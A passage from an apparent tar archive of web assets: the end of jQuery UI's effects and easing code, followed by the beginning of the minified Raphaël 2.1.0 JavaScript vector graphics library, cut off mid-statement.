			if ( standardAnimationOption( option ) || typeof option === "boolean" ) {
				return orig.apply( this, arguments );
			} else {
				var args = _normalizeArguments.apply( this, arguments );
				args.mode = "toggle";
				return this.effect.call( this, args );
			}
		};
	})( $.fn.toggle ),

	// helper functions
	cssUnit: function(key) {
		var style = this.css( key ),
			val = [];

		$.each( [ "em", "px", "%", "pt" ], function( i, unit ) {
			if ( style.indexOf( unit ) > 0 ) {
				val = [ parseFloat( style ), unit ];
			}
		});
		return val;
	}
});

})();

/******************************************************************************/
/*********************************** EASING ***********************************/
/******************************************************************************/

(function() {

// based on easing equations from Robert Penner (http://www.robertpenner.com/easing)

var baseEasings = {};

$.each( [ "Quad", "Cubic", "Quart", "Quint", "Expo" ], function( i, name ) {
	baseEasings[ name ] = function( p ) {
		return Math.pow( p, i + 2 );
	};
});

$.extend( baseEasings, {
	Sine: function ( p ) {
		return 1 - Math.cos( p * Math.PI / 2 );
	},
	Circ: function ( p ) {
		return 1 - Math.sqrt( 1 - p * p );
	},
	Elastic: function( p ) {
		return p === 0 || p === 1 ? p :
			-Math.pow( 2, 8 * (p - 1) ) * Math.sin( ( (p - 1) * 80 - 7.5 ) * Math.PI / 15 );
	},
	Back: function( p ) {
		return p * p * ( 3 * p - 2 );
	},
	Bounce: function ( p ) {
		var pow2,
			bounce = 4;

		while ( p < ( ( pow2 = Math.pow( 2, --bounce ) ) - 1 ) / 11 ) {}
		return 1 / Math.pow( 4, 3 - bounce ) - 7.5625 * Math.pow( ( pow2 * 3 - 2 ) / 22 - p, 2 );
	}
});

$.each( baseEasings, function( name, easeIn ) {
	$.easing[ "easeIn" + name ] = easeIn;
	$.easing[ "easeOut" + name ] = function( p ) {
		return 1 - easeIn( 1 - p );
	};
	$.easing[ "easeInOut" + name ] = function( p ) {
		return p < 0.5 ?
			easeIn( p * 2 ) / 2 :
			1 - easeIn( p * -2 + 2 ) / 2;
	};
});

})();

})(jQuery);
js/raphael-2.1.0.min.js000060400000261027150710775200010360 0ustar00// ┌────────────────────────────────────────────────────────────────────┐ \\
// │ Raphaël 2.1.0 - JavaScript Vector Library                          │ \\
// ├────────────────────────────────────────────────────────────────────┤ \\
// │ Copyright © 2008-2012 Dmitry Baranovskiy (http://raphaeljs.com)    │ \\
// │ Copyright © 2008-2012 Sencha Labs (http://sencha.com)              │ \\
// ├────────────────────────────────────────────────────────────────────┤ \\
// │ Licensed under the MIT (http://raphaeljs.com/license.html) license.│ \\
// └────────────────────────────────────────────────────────────────────┘ \\

(function(a){var b="0.3.4",c="hasOwnProperty",d=/[\.\/]/,e="*",f=function(){},g=function(a,b){return a-b},h,i,j={n:{}},k=function(a,b){var c=j,d=i,e=Array.prototype.slice.call(arguments,2),f=k.listeners(a),l=0,m=!1,n,o=[],p={},q=[],r=h,s=[];h=a,i=0;for(var t=0,u=f.length;t<u;t++)"zIndex"in f[t]&&(o.push(f[t].zIndex),f[t].zIndex<0&&(p[f[t].zIndex]=f[t]));o.sort(g);while(o[l]<0){n=p[o[l++]],q.push(n.apply(b,e));if(i){i=d;return q}}for(t=0;t<u;t++){n=f[t];if("zIndex"in n)if(n.zIndex==o[l]){q.push(n.apply(b,e));if(i)break;do{l++,n=p[o[l]],n&&q.push(n.apply(b,e));if(i)break}while(n)}else p[n.zIndex]=n;else{q.push(n.apply(b,e));if(i)break}}i=d,h=r;return q.length?q:null};k.listeners=function(a){var b=a.split(d),c=j,f,g,h,i,k,l,m,n,o=[c],p=[];for(i=0,k=b.length;i<k;i++){n=[];for(l=0,m=o.length;l<m;l++){c=o[l].n,g=[c[b[i]],c[e]],h=2;while(h--)f=g[h],f&&(n.push(f),p=p.concat(f.f||[]))}o=n}return p},k.on=function(a,b){var c=a.split(d),e=j;for(var g=0,h=c.length;g<h;g++)e=e.n,!e[c[g]]&&(e[c[g]]={n:{}}),e=e[c[g]];e.f=e.f||[];for(g=0,h=e.f.length;g<h;g++)if(e.f[g]==b)return f;e.f.push(b);return function(a){+a==+a&&(b.zIndex=+a)}},k.stop=function(){i=1},k.nt=function(a){if(a)return(new RegExp("(?:\\.|\\/|^)"+a+"(?:\\.|\\/|$)")).test(h);return h},k.off=k.unbind=function(a,b){var f=a.split(d),g,h,i,k,l,m,n,o=[j];for(k=0,l=f.length;k<l;k++)for(m=0;m<o.length;m+=i.length-2){i=[m,1],g=o[m].n;if(f[k]!=e)g[f[k]]&&i.push(g[f[k]]);else for(h in g)g[c](h)&&i.push(g[h]);o.splice.apply(o,i)}for(k=0,l=o.length;k<l;k++){g=o[k];while(g.n){if(b){if(g.f){for(m=0,n=g.f.length;m<n;m++)if(g.f[m]==b){g.f.splice(m,1);break}!g.f.length&&delete g.f}for(h in g.n)if(g.n[c](h)&&g.n[h].f){var p=g.n[h].f;for(m=0,n=p.length;m<n;m++)if(p[m]==b){p.splice(m,1);break}!p.length&&delete g.n[h].f}}else{delete g.f;for(h in g.n)g.n[c](h)&&g.n[h].f&&delete g.n[h].f}g=g.n}}},k.once=function(a,b){var c=function(){var d=b.apply(this,arguments);k.unbind(a,c);return d};return k.on(a,c)},k.version=b,k.toString=function(){return"You are running Eve "+b},typeof module!="undefined"&&module.exports?module.exports=k:typeof define!="undefined"?define("eve",[],function(){return k}):a.eve=k})(this),function(){function cF(a){for(var b=0;b<cy.length;b++)cy[b].el.paper==a&&cy.splice(b--,1)}function cE(b,d,e,f,h,i){e=Q(e);var j,k,l,m=[],o,p,q,t=b.ms,u={},v={},w={};if(f)for(y=0,z=cy.length;y<z;y++){var x=cy[y];if(x.el.id==d.id&&x.anim==b){x.percent!=e?(cy.splice(y,1),l=1):k=x,d.attr(x.totalOrigin);break}}else f=+v;for(var y=0,z=b.percents.length;y<z;y++){if(b.percents[y]==e||b.percents[y]>f*b.top){e=b.percents[y],p=b.percents[y-1]||0,t=t/b.top*(e-p),o=b.percents[y+1],j=b.anim[e];break}f&&d.attr(b.anim[b.percents[y]])}if(!!j){if(!k){for(var A in j)if(j[g](A))if(U[g](A)||d.paper.customAttributes[g](A)){u[A]=d.attr(A),u[A]==null&&(u[A]=T[A]),v[A]=j[A];switch(U[A]){case C:w[A]=(v[A]-u[A])/t;break;case"colour":u[A]=a.getRGB(u[A]);var B=a.getRGB(v[A]);w[A]={r:(B.r-u[A].r)/t,g:(B.g-u[A].g)/t,b:(B.b-u[A].b)/t};break;case"path":var D=bR(u[A],v[A]),E=D[1];u[A]=D[0],w[A]=[];for(y=0,z=u[A].length;y<z;y++){w[A][y]=[0];for(var F=1,G=u[A][y].length;F<G;F++)w[A][y][F]=(E[y][F]-u[A][y][F])/t}break;case"transform":var H=d._,I=ca(H[A],v[A]);if(I){u[A]=I.from,v[A]=I.to,w[A]=[],w[A].real=!0;for(y=0,z=u[A].length;y<z;y++){w[A][y]=[u[A][y][0]];for(F=1,G=u[A][y].length;F<G;F++)w[A][y][F]=(v[A][y][F]-u[A][y][F])/t}}else{var J=d.matrix||new cb,K={_:{transform:H.transform},getBBox:function(){return d.getBBox(1)}};u[A]=[J.a,J.b,J.c,J.d,J.e,J.f],b$(K,v[A]),v[A]=K._.transform,w[A]=[(K.matrix.a-J.a)/t,(K.matrix.b-J.b)/t,(K.matrix.c-J.c)/t,(K.matrix.d-J.d)/t,(K.matrix.e-J.e)/t,(K.matrix.f-J.f)/t]}break;case"csv":var L=r(j[A])[s](c),M=r(u[A])[s](c);if(A=="clip-rect"){u[A]=M,w[A]=[],y=M.length;while(y--)w[A][y]=(L[y]-u[A][y])/t}v[A]=L;break;default:L=[][n](j[A]),M=[][n](u[A]),w[A]=[],y=d.paper.customAttributes[A].length;while(y--)w[A][y]=((L[y]||0)-(M[y]||0))/t}}var O=j.easing,P=a.easing_formulas[O];if(!P){P=r(O).match(N);if(P&&P.length==5){var R=P;P=function(a){return cC(a,+R[1],+R[2],+R[3],+R[4],t)}}else P=bf}q=j.start||b.start||+(new Date),x={anim:b,percent:e,timestamp:q,start:q+(b.del||0),status:0,initstatus:f||0,stop:!1,ms:t,easing:P,from:u,diff:w,to:v,el:d,callback:j.callback,prev:p,next:o,repeat:i||b.times,origin:d.attr(),totalOrigin:h},cy.push(x);if(f&&!k&&!l){x.stop=!0,x.start=new Date-t*f;if(cy.length==1)return cA()}l&&(x.start=new Date-x.ms*f),cy.length==1&&cz(cA)}else k.initstatus=f,k.start=new Date-k.ms*f;eve("raphael.anim.start."+d.id,d,b)}}function cD(a,b){var c=[],d={};this.ms=b,this.times=1;if(a){for(var e in a)a[g](e)&&(d[Q(e)]=a[e],c.push(Q(e)));c.sort(bd)}this.anim=d,this.top=c[c.length-1],this.percents=c}function cC(a,b,c,d,e,f){function o(a,b){var c,d,e,f,j,k;for(e=a,k=0;k<8;k++){f=m(e)-a;if(z(f)<b)return e;j=(3*i*e+2*h)*e+g;if(z(j)<1e-6)break;e=e-f/j}c=0,d=1,e=a;if(e<c)return c;if(e>d)return d;while(c<d){f=m(e);if(z(f-a)<b)return e;a>f?c=e:d=e,e=(d-c)/2+c}return e}function n(a,b){var c=o(a,b);return((l*c+k)*c+j)*c}function m(a){return((i*a+h)*a+g)*a}var g=3*b,h=3*(d-b)-g,i=1-g-h,j=3*c,k=3*(e-c)-j,l=1-j-k;return n(a,1/(200*f))}function cq(){return this.x+q+this.y+q+this.width+" × "+this.height}function cp(){return this.x+q+this.y}function cb(a,b,c,d,e,f){a!=null?(this.a=+a,this.b=+b,this.c=+c,this.d=+d,this.e=+e,this.f=+f):(this.a=1,this.b=0,this.c=0,this.d=1,this.e=0,this.f=0)}function bH(b,c,d){b=a._path2curve(b),c=a._path2curve(c);var e,f,g,h,i,j,k,l,m,n,o=d?0:[];for(var p=0,q=b.length;p<q;p++){var r=b[p];if(r[0]=="M")e=i=r[1],f=j=r[2];else{r[0]=="C"?(m=[e,f].concat(r.slice(1)),e=m[6],f=m[7]):(m=[e,f,e,f,i,j,i,j],e=i,f=j);for(var s=0,t=c.length;s<t;s++){var u=c[s];if(u[0]=="M")g=k=u[1],h=l=u[2];else{u[0]=="C"?(n=[g,h].concat(u.slice(1)),g=n[6],h=n[7]):(n=[g,h,g,h,k,l,k,l],g=k,h=l);var v=bG(m,n,d);if(d)o+=v;else{for(var w=0,x=v.length;w<x;w++)v[w].segment1=p,v[w].segment2=s,v[w].bez1=m,v[w].bez2=n;o=o.concat(v)}}}}}return o}function bG(b,c,d){var e=a.bezierBBox(b),f=a.bezierBBox(c);if(!a.isBBoxIntersect(e,f))return d?0:[];var g=bB.apply(0,b),h=bB.apply(0,c),i=~~(g/5),j=~~(h/5),k=[],l=[],m={},n=d?0:[];for(var o=0;o<i+1;o++){var p=a.findDotsAtSegment.apply(a,b.concat(o/i));k.push({x:p.x,y:p.y,t:o/i})}for(o=0;o<j+1;o++)p=a.findDotsAtSegment.apply(a,c.concat(o/j)),l.push({x:p.x,y:p.y,t:o/j});for(o=0;o<i;o++)for(var q=0;q<j;q++){var r=k[o],s=k[o+1],t=l[q],u=l[q+1],v=z(s.x-r.x)<.001?"y":"x",w=z(u.x-t.x)<.001?"y":"x",x=bD(r.x,r.y,s.x,s.y,t.x,t.y,u.x,u.y);if(x){if(m[x.x.toFixed(4)]==x.y.toFixed(4))continue;m[x.x.toFixed(4)]=x.y.toFixed(4);var y=r.t+z((x[v]-r[v])/(s[v]-r[v]))*(s.t-r.t),A=t.t+z((x[w]-t[w])/(u[w]-t[w]))*(u.t-t.t);y>=0&&y<=1&&A>=0&&A<=1&&(d?n++:n.push({x:x.x,y:x.y,t1:y,t2:A}))}}return n}function bF(a,b){return bG(a,b,1)}function bE(a,b){return bG(a,b)}function bD(a,b,c,d,e,f,g,h){if(!(x(a,c)<y(e,g)||y(a,c)>x(e,g)||x(b,d)<y(f,h)||y(b,d)>x(f,h))){var i=(a*d-b*c)*(e-g)-(a-c)*(e*h-f*g),j=(a*d-b*c)*(f-h)-(b-d)*(e*h-f*g),k=(a-c)*(f-h)-(b-d)*(e-g);if(!k)return;var l=i/k,m=j/k,n=+l.toFixed(2),o=+m.toFixed(2);if(n<+y(a,c).toFixed(2)||n>+x(a,c).toFixed(2)||n<+y(e,g).toFixed(2)||n>+x(e,g).toFixed(2)||o<+y(b,d).toFixed(2)||o>+x(b,d).toFixed(2)||o<+y(f,h).toFixed(2)||o>+x(f,h).toFixed(2))return;return{x:l,y:m}}}function bC(a,b,c,d,e,f,g,h,i){if(!(i<0||bB(a,b,c,d,e,f,g,h)<i)){var j=1,k=j/2,l=j-k,m,n=.01;m=bB(a,b,c,d,e,f,g,h,l);while(z(m-i)>n)k/=2,l+=(m<i?1:-1)*k,m=bB(a,b,c,d,e,f,g,h,l);return l}}function bB(a,b,c,d,e,f,g,h,i){i==null&&(i=1),i=i>1?1:i<0?0:i;var j=i/2,k=12,l=[-0.1252,.1252,-0.3678,.3678,-0.5873,.5873,-0.7699,.7699,-0.9041,.9041,-0.9816,.9816],m=[.2491,.2491,.2335,.2335,.2032,.2032,.1601,.1601,.1069,.1069,.0472,.0472],n=0;for(var o=0;o<k;o++){var p=j*l[o]+j,q=bA(p,a,c,e,g),r=bA(p,b,d,f,h),s=q*q+r*r;n+=m[o]*w.sqrt(s)}return j*n}function bA(a,b,c,d,e){var f=-3*b+9*c-9*d+3*e,g=a*f+6*b-12*c+6*d;return a*g-3*b+3*c}function by(a,b){var c=[];for(var d=0,e=a.length;e-2*!b>d;d+=2){var f=[{x:+a[d-2],y:+a[d-1]},{x:+a[d],y:+a[d+1]},{x:+a[d+2],y:+a[d+3]},{x:+a[d+4],y:+a[d+5]}];b?d?e-4==d?f[3]={x:+a[0],y:+a[1]}:e-2==d&&(f[2]={x:+a[0],y:+a[1]},f[3]={x:+a[2],y:+a[3]}):f[0]={x:+a[e-2],y:+a[e-1]}:e-4==d?f[3]=f[2]:d||(f[0]={x:+a[d],y:+a[d+1]}),c.push(["C",(-f[0].x+6*f[1].x+f[2].x)/6,(-f[0].y+6*f[1].y+f[2].y)/6,(f[1].x+6*f[2].x-f[3].x)/6,(f[1].y+6*f[2].y-f[3].y)/6,f[2].x,f[2].y])}return c}function bx(){return this.hex}function bv(a,b,c){function d(){var e=Array.prototype.slice.call(arguments,0),f=e.join("␀"),h=d.cache=d.cache||{},i=d.count=d.count||[];if(h[g](f)){bu(i,f);return c?c(h[f]):h[f]}i.length>=1e3&&delete h[i.shift()],i.push(f),h[f]=a[m](b,e);return c?c(h[f]):h[f]}return d}function bu(a,b){for(var c=0,d=a.length;c<d;c++)if(a[c]===b)return a.push(a.splice(c,1)[0])}function bm(a){if(Object(a)!==a)return a;var b=new a.constructor;for(var c in a)a[g](c)&&(b[c]=bm(a[c]));return b}function a(c){if(a.is(c,"function"))return b?c():eve.on("raphael.DOMload",c);if(a.is(c,E))return a._engine.create[m](a,c.splice(0,3+a.is(c[0],C))).add(c);var d=Array.prototype.slice.call(arguments,0);if(a.is(d[d.length-1],"function")){var e=d.pop();return b?e.call(a._engine.create[m](a,d)):eve.on("raphael.DOMload",function(){e.call(a._engine.create[m](a,d))})}return a._engine.create[m](a,arguments)}a.version="2.1.0",a.eve=eve;var b,c=/[, ]+/,d={circle:1,rect:1,path:1,ellipse:1,text:1,image:1},e=/\{(\d+)\}/g,f="prototype",g="hasOwnProperty",h={doc:document,win:window},i={was:Object.prototype[g].call(h.win,"Raphael"),is:h.win.Raphael},j=function(){this.ca=this.customAttributes={}},k,l="appendChild",m="apply",n="concat",o="createTouch"in h.doc,p="",q=" ",r=String,s="split",t="click dblclick mousedown mousemove mouseout mouseover mouseup touchstart touchmove touchend touchcancel"[s](q),u={mousedown:"touchstart",mousemove:"touchmove",mouseup:"touchend"},v=r.prototype.toLowerCase,w=Math,x=w.max,y=w.min,z=w.abs,A=w.pow,B=w.PI,C="number",D="string",E="array",F="toString",G="fill",H=Object.prototype.toString,I={},J="push",K=a._ISURL=/^url\(['"]?([^\)]+?)['"]?\)$/i,L=/^\s*((#[a-f\d]{6})|(#[a-f\d]{3})|rgba?\(\s*([\d\.]+%?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+%?(?:\s*,\s*[\d\.]+%?)?)\s*\)|hsba?\(\s*([\d\.]+(?:deg|\xb0|%)?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+(?:%?\s*,\s*[\d\.]+)?)%?\s*\)|hsla?\(\s*([\d\.]+(?:deg|\xb0|%)?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+(?:%?\s*,\s*[\d\.]+)?)%?\s*\))\s*$/i,M={NaN:1,Infinity:1,"-Infinity":1},N=/^(?:cubic-)?bezier\(([^,]+),([^,]+),([^,]+),([^\)]+)\)/,O=w.round,P="setAttribute",Q=parseFloat,R=parseInt,S=r.prototype.toUpperCase,T=a._availableAttrs={"arrow-end":"none","arrow-start":"none",blur:0,"clip-rect":"0 0 1e9 1e9",cursor:"default",cx:0,cy:0,fill:"#fff","fill-opacity":1,font:'10px "Arial"',"font-family":'"Arial"',"font-size":"10","font-style":"normal","font-weight":400,gradient:0,height:0,href:"http://raphaeljs.com/","letter-spacing":0,opacity:1,path:"M0,0",r:0,rx:0,ry:0,src:"",stroke:"#000","stroke-dasharray":"","stroke-linecap":"butt","stroke-linejoin":"butt","stroke-miterlimit":0,"stroke-opacity":1,"stroke-width":1,target:"_blank","text-anchor":"middle",title:"Raphael",transform:"",width:0,x:0,y:0},U=a._availableAnimAttrs={blur:C,"clip-rect":"csv",cx:C,cy:C,fill:"colour","fill-opacity":C,"font-size":C,height:C,opacity:C,path:"path",r:C,rx:C,ry:C,stroke:"colour","stroke-opacity":C,"stroke-width":C,transform:"transform",width:C,x:C,y:C},V=/[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]/g,W=/[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*,[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*/,X={hs:1,rg:1},Y=/,?([achlmqrstvxz]),?/gi,Z=/([achlmrqstvz])[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029,]*((-?\d*\.?\d*(?:e[\-+]?\d+)?[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*,?[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*)+)/ig,$=/([rstm])[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029,]*((-?\d*\.?\d*(?:e[\-+]?\d+)?[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*,?[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*)+)/ig,_=/(-?\d*\.?\d*(?:e[\-+]?\d+)?)[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*,?[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*/ig,ba=a._radial_gradient=/^r(?:\(([^,]+?)[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*,[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*([^\)]+?)\))?/,bb={},bc=function(a,b){return a.key-b.key},bd=function(a,b){return Q(a)-Q(b)},be=function(){},bf=function(a){return a},bg=a._rectPath=function(a,b,c,d,e){if(e)return[["M",a+e,b],["l",c-e*2,0],["a",e,e,0,0,1,e,e],["l",0,d-e*2],["a",e,e,0,0,1,-e,e],["l",e*2-c,0],["a",e,e,0,0,1,-e,-e],["l",0,e*2-d],["a",e,e,0,0,1,e,-e],["z"]];return[["M",a,b],["l",c,0],["l",0,d],["l",-c,0],["z"]]},bh=function(a,b,c,d){d==null&&(d=c);return[["M",a,b],["m",0,-d],["a",c,d,0,1,1,0,2*d],["a",c,d,0,1,1,0,-2*d],["z"]]},bi=a._getPath={path:function(a){return a.attr("path")},circle:function(a){var b=a.attrs;return bh(b.cx,b.cy,b.r)},ellipse:function(a){var b=a.attrs;return bh(b.cx,b.cy,b.rx,b.ry)},rect:function(a){var b=a.attrs;return bg(b.x,b.y,b.width,b.height,b.r)},image:function(a){var b=a.attrs;return bg(b.x,b.y,b.width,b.height)},text:function(a){var b=a._getBBox();return bg(b.x,b.y,b.width,b.height)}},bj=a.mapPath=function(a,b){if(!b)return a;var c,d,e,f,g,h,i;a=bR(a);for(e=0,g=a.length;e<g;e++){i=a[e];for(f=1,h=i.length;f<h;f+=2)c=b.x(i[f],i[f+1]),d=b.y(i[f],i[f+1]),i[f]=c,i[f+1]=d}return a};a._g=h,a.type=h.win.SVGAngle||h.doc.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#BasicStructure","1.1")?"SVG":"VML";if(a.type=="VML"){var bk=h.doc.createElement("div"),bl;bk.innerHTML='<v:shape adj="1"/>',bl=bk.firstChild,bl.style.behavior="url(#default#VML)";if(!bl||typeof bl.adj!="object")return a.type=p;bk=null}a.svg=!(a.vml=a.type=="VML"),a._Paper=j,a.fn=k=j.prototype=a.prototype,a._id=0,a._oid=0,a.is=function(a,b){b=v.call(b);if(b=="finite")return!M[g](+a);if(b=="array")return a instanceof Array;return b=="null"&&a===null||b==typeof a&&a!==null||b=="object"&&a===Object(a)||b=="array"&&Array.isArray&&Array.isArray(a)||H.call(a).slice(8,-1).toLowerCase()==b},a.angle=function(b,c,d,e,f,g){if(f==null){var h=b-d,i=c-e;if(!h&&!i)return 0;return(180+w.atan2(-i,-h)*180/B+360)%360}return a.angle(b,c,f,g)-a.angle(d,e,f,g)},a.rad=function(a){return a%360*B/180},a.deg=function(a){return a*180/B%360},a.snapTo=function(b,c,d){d=a.is(d,"finite")?d:10;if(a.is(b,E)){var e=b.length;while(e--)if(z(b[e]-c)<=d)return b[e]}else{b=+b;var f=c%b;if(f<d)return c-f;if(f>b-d)return c-f+b}return c};var bn=a.createUUID=function(a,b){return function(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(a,b).toUpperCase()}}(/[xy]/g,function(a){var b=w.random()*16|0,c=a=="x"?b:b&3|8;return c.toString(16)});a.setWindow=function(b){eve("raphael.setWindow",a,h.win,b),h.win=b,h.doc=h.win.document,a._engine.initWin&&a._engine.initWin(h.win)};var bo=function(b){if(a.vml){var c=/^\s+|\s+$/g,d;try{var e=new ActiveXObject("htmlfile");e.write("<body>"),e.close(),d=e.body}catch(f){d=createPopup().document.body}var g=d.createTextRange();bo=bv(function(a){try{d.style.color=r(a).replace(c,p);var b=g.queryCommandValue("ForeColor");b=(b&255)<<16|b&65280|(b&16711680)>>>16;return"#"+("000000"+b.toString(16)).slice(-6)}catch(e){return"none"}})}else{var i=h.doc.createElement("i");i.title="Raphaël Colour Picker",i.style.display="none",h.doc.body.appendChild(i),bo=bv(function(a){i.style.color=a;return h.doc.defaultView.getComputedStyle(i,p).getPropertyValue("color")})}return bo(b)},bp=function(){return"hsb("+[this.h,this.s,this.b]+")"},bq=function(){return"hsl("+[this.h,this.s,this.l]+")"},br=function(){return this.hex},bs=function(b,c,d){c==null&&a.is(b,"object")&&"r"in b&&"g"in b&&"b"in b&&(d=b.b,c=b.g,b=b.r);if(c==null&&a.is(b,D)){var e=a.getRGB(b);b=e.r,c=e.g,d=e.b}if(b>1||c>1||d>1)b/=255,c/=255,d/=255;return[b,c,d]},bt=function(b,c,d,e){b*=255,c*=255,d*=255;var f={r:b,g:c,b:d,hex:a.rgb(b,c,d),toString:br};a.is(e,"finite")&&(f.opacity=e);return f};a.color=function(b){var c;a.is(b,"object")&&"h"in b&&"s"in b&&"b"in b?(c=a.hsb2rgb(b),b.r=c.r,b.g=c.g,b.b=c.b,b.hex=c.hex):a.is(b,"object")&&"h"in b&&"s"in b&&"l"in b?(c=a.hsl2rgb(b),b.r=c.r,b.g=c.g,b.b=c.b,b.hex=c.hex):(a.is(b,"string")&&(b=a.getRGB(b)),a.is(b,"object")&&"r"in b&&"g"in b&&"b"in b?(c=a.rgb2hsl(b),b.h=c.h,b.s=c.s,b.l=c.l,c=a.rgb2hsb(b),b.v=c.b):(b={hex:"none"},b.r=b.g=b.b=b.h=b.s=b.v=b.l=-1)),b.toString=br;return b},a.hsb2rgb=function(a,b,c,d){this.is(a,"object")&&"h"in a&&"s"in a&&"b"in a&&(c=a.b,b=a.s,a=a.h,d=a.o),a*=360;var e,f,g,h,i;a=a%360/60,i=c*b,h=i*(1-z(a%2-1)),e=f=g=c-i,a=~~a,e+=[i,h,0,0,h,i][a],f+=[h,i,i,h,0,0][a],g+=[0,0,h,i,i,h][a];return bt(e,f,g,d)},a.hsl2rgb=function(a,b,c,d){this.is(a,"object")&&"h"in a&&"s"in a&&"l"in a&&(c=a.l,b=a.s,a=a.h);if(a>1||b>1||c>1)a/=360,b/=100,c/=100;a*=360;var e,f,g,h,i;a=a%360/60,i=2*b*(c<.5?c:1-c),h=i*(1-z(a%2-1)),e=f=g=c-i/2,a=~~a,e+=[i,h,0,0,h,i][a],f+=[h,i,i,h,0,0][a],g+=[0,0,h,i,i,h][a];return bt(e,f,g,d)},a.rgb2hsb=function(a,b,c){c=bs(a,b,c),a=c[0],b=c[1],c=c[2];var d,e,f,g;f=x(a,b,c),g=f-y(a,b,c),d=g==0?null:f==a?(b-c)/g:f==b?(c-a)/g+2:(a-b)/g+4,d=(d+360)%6*60/360,e=g==0?0:g/f;return{h:d,s:e,b:f,toString:bp}},a.rgb2hsl=function(a,b,c){c=bs(a,b,c),a=c[0],b=c[1],c=c[2];var d,e,f,g,h,i;g=x(a,b,c),h=y(a,b,c),i=g-h,d=i==0?null:g==a?(b-c)/i:g==b?(c-a)/i+2:(a-b)/i+4,d=(d+360)%6*60/360,f=(g+h)/2,e=i==0?0:f<.5?i/(2*f):i/(2-2*f);return{h:d,s:e,l:f,toString:bq}},a._path2string=function(){return this.join(",").replace(Y,"$1")};var bw=a._preload=function(a,b){var c=h.doc.createElement("img");c.style.cssText="position:absolute;left:-9999em;top:-9999em",c.onload=function(){b.call(this),this.onload=null,h.doc.body.removeChild(this)},c.onerror=function(){h.doc.body.removeChild(this)},h.doc.body.appendChild(c),c.src=a};a.getRGB=bv(function(b){if(!b||!!((b=r(b)).indexOf("-")+1))return{r:-1,g:-1,b:-1,hex:"none",error:1,toString:bx};if(b=="none")return{r:-1,g:-1,b:-1,hex:"none",toString:bx};!X[g](b.toLowerCase().substring(0,2))&&b.charAt()!="#"&&(b=bo(b));var c,d,e,f,h,i,j,k=b.match(L);if(k){k[2]&&(f=R(k[2].substring(5),16),e=R(k[2].substring(3,5),16),d=R(k[2].substring(1,3),16)),k[3]&&(f=R((i=k[3].charAt(3))+i,16),e=R((i=k[3].charAt(2))+i,16),d=R((i=k[3].charAt(1))+i,16)),k[4]&&(j=k[4][s](W),d=Q(j[0]),j[0].slice(-1)=="%"&&(d*=2.55),e=Q(j[1]),j[1].slice(-1)=="%"&&(e*=2.55),f=Q(j[2]),j[2].slice(-1)=="%"&&(f*=2.55),k[1].toLowerCase().slice(0,4)=="rgba"&&(h=Q(j[3])),j[3]&&j[3].slice(-1)=="%"&&(h/=100));if(k[5]){j=k[5][s](W),d=Q(j[0]),j[0].slice(-1)=="%"&&(d*=2.55),e=Q(j[1]),j[1].slice(-1)=="%"&&(e*=2.55),f=Q(j[2]),j[2].slice(-1)=="%"&&(f*=2.55),(j[0].slice(-3)=="deg"||j[0].slice(-1)=="°")&&(d/=360),k[1].toLowerCase().slice(0,4)=="hsba"&&(h=Q(j[3])),j[3]&&j[3].slice(-1)=="%"&&(h/=100);return a.hsb2rgb(d,e,f,h)}if(k[6]){j=k[6][s](W),d=Q(j[0]),j[0].slice(-1)=="%"&&(d*=2.55),e=Q(j[1]),j[1].slice(-1)=="%"&&(e*=2.55),f=Q(j[2]),j[2].slice(-1)=="%"&&(f*=2.55),(j[0].slice(-3)=="deg"||j[0].slice(-1)=="°")&&(d/=360),k[1].toLowerCase().slice(0,4)=="hsla"&&(h=Q(j[3])),j[3]&&j[3].slice(-1)=="%"&&(h/=100);return a.hsl2rgb(d,e,f,h)}k={r:d,g:e,b:f,toString:bx},k.hex="#"+(16777216|f|e<<8|d<<16).toString(16).slice(1),a.is(h,"finite")&&(k.opacity=h);return 